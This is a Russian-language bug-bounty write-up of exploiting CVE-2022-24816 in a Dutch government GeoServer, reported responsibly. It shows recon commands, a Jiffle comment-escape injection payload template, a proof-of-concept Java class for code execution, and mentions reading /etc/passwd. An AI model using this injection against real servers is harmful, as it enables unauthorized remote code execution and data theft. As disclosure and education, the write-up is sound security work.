Как я взломал правительство Нидерландов: эксплуатация невинного изображения для удаленного выполнения кода. Взлом правительства Нидерландов с помощью RCE.
Мотивация:
На конференции по безопасности я заметил человека в футболке с надписью: «Я взломал правительство Нидерландов, и всё, что я получил — эту паршивую футболку». Заинтригованный, я подошел к нему, чтобы узнать, как он это сделал. Я был полон решимости заполучить такой же классный сувенир.
Область исследования:
Я начал искать возможности и наткнулся на список сайтов, подходящих для багхантинга, на https://gist.github.com/R0X4R/81e6c50c091a20b060afe5c259b58cfa. Этот список стал отправной точкой для моих поисков.
Цель:
Я использовал httpx для оценки текущего состояния, стека технологий, кодов состояния HTTP и названий каждого веб-сайта в списке. Это позволило мне получить ценную информацию об инфраструктуре.
cat scope.txt | sort -u | ~/go/bin/httpx -sc -title -tech-detect
При проверке сайтов, которые возвращали ответ 200 OK, я заметил, что один из них использует сервисы GeoServer.
Я попытался использовать Nuclei для сканирования, однако уязвимостей обнаружено не было.
Обнаружение:
Я выяснил, что сервис позволяет мне использовать его функционал без необходимости аутентификации. Я запустил Burp Suite и начал взаимодействовать с приложением, исследуя его на наличие уязвимостей и возможные точки эксплуатации.
Я провел некоторое исследование GeoServer. Это, по сути, сервер с открытым исходным кодом для обмена геопространственными данными. Он поддерживает стандартные протоколы, такие как WFS, WMS и WCS. Кроме того, по умолчанию в нем активирован API JAI-EXT, который предоставляет высокоуровневые объекты для обработки изображений.
Проект JAI-EXT включает язык для обработки растровых изображений под названием Jiffle. Jiffle — это простой скриптовый язык, который позволяет делать больше с меньшим количеством кода.
В ходе дальнейших исследований была обнаружена уязвимость в расширении JT-JIFFLE, идентифицированная как CVE-2022–24816, 13 апреля 2022 года.
Эксплуатация:
Уязвимость заключается в обработке скриптов Jiffle библиотекой JAI-EXT, которая должна компилировать и выполнять их в безопасной среде. Однако из-за неправильной валидации вредоносный код, встроенный в изображение или другие данные, мог быть внедрен и выполнен на уязвимой системе. Этот код использовал компилятор Janino, применяемый JAI-EXT, что в итоге приводило к удаленному выполнению кода (RCE) с полными привилегиями системы.
Основная проблема заключается в неправильной проверке кода, что позволяет выполнить RCE через скрипты Jiffle и компилятор Janino.
В патче можно заметить, что в методе Script write класса it.geosolutions.jaiext.jiffle.parser.node.Script добавлено экранирование комментариев Javadoc. Как уже упоминалось, этот метод используется Jiffle для преобразования модели скрипта в исходный код на Java.
Один из подходов заключается в создании подходящего XML-запроса WPS с помощью демонстрационной страницы конструктора WPS.
Этот запрос приводит к детализированной ошибке javax.media.jai.util.ImagingException:
<?xml version="1.0" encoding="UTF-8"?><wps:ExecuteResponse xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:xlink="http://www.w3.org/1999/xlink" xml:lang="en" service="WPS" serviceInstance="http://localhost:8085/geoserver/ows?" version="1.0.0"><wps:Process wps:processVersion="1.0.0"><ows:Identifier>ras:Jiffle</ows:Identifier><ows:Title>Jiffle map algebra</ows:Title><ows:Abstract>Map algebra powered by Jiffle</ows:Abstract></wps:Process><wps:Status creationTime="2022-08-11T12:36:24.457Z"><wps:ProcessFailed><ows:ExceptionReport version="1.1.0"><ows:Exception exceptionCode="NoApplicableCode"><ows:ExceptionText>Process failed during execution
javax.media.jai.util.ImagingException: All factories fail for the operation &quot;Jiffle&quot;
All factories fail for the operation &quot;Jiffle&quot;it.geosolutions.jaiext.jiffle.JiffleException: Runtime source error for source: package it.geosolutions.jaiext.jiffle.runtime;
import java.util.List;
import java.util.ArrayList;
import java.util.Arrays;
/**
* Java runtime class generated from the following Jiffle script:
*&lt;code&gt;
* dest = 1; */
*&lt;/code&gt;
*/
public class JiffleIndirectRuntimeImpl extends it.geosolutions.jaiext.jiffle.runtime.AbstractIndirectRuntime {
[...]
}
Runtime source error for source: package it.geosolutions.jaiext.jiffle.runtime;
[...]
Line 11, Column 3: One of &apos;class enum interface @&apos; expected instead of &apos;*&apos;
Компилятор Janino сталкивается с ошибкой при преобразовании исходного кода в байт-код, когда он обнаруживает строку с комментариями, начинающуюся с * вместо ожидаемых ключевых слов, таких как class, enum или interface.
Чтобы вставить Java-код в файл, мы также должны исправить оставшиеся комментарии, добавив строку /*. Наша полезная нагрузка будет иметь следующий вид:
<wps:LiteralData>dest = 1; */ INJECTED JAVA CODE /*</wps:LiteralData>
Jiffle генерирует Java-код, который позволил переопределить класс Double, используемый для инициализации переменной результата в конце программы:
double result = Double.NaN;
При обращении к статическому атрибуту NaN нашего управляемого класса Double запускается выполнение статического блока кода. Управляемый класс Double, используемый в качестве доказательства концепции, описан ниже:
public class Double { public static double NaN; static { throw new RuntimeException(": Мы контролируем выполнение кода :)"); } }
Выполнение команды стало простым. Был использован следующий класс Doubleдля запуска выполнения команды “cat /etc/passwd”.:
Объединяя это с исходной полезной нагрузкой для обхода комментариев в Java, был выполнен следующий запрос:
Исполнение этого запроса привело к исключению java.lang.ExceptionInInitializerError, содержащее вывод выполненной команды:
Был создан шаблон Nuclei для обнаружения данной уязвимости, который можно найти по следующей ссылке GitHub: CVE-2022–24816.yaml.
Таймлайн:
Отчет отправлен: 22 декабря 2022 года
Подтверждено: 23 декабря 2022 года
Сувениры получены: 24 марта 2023 года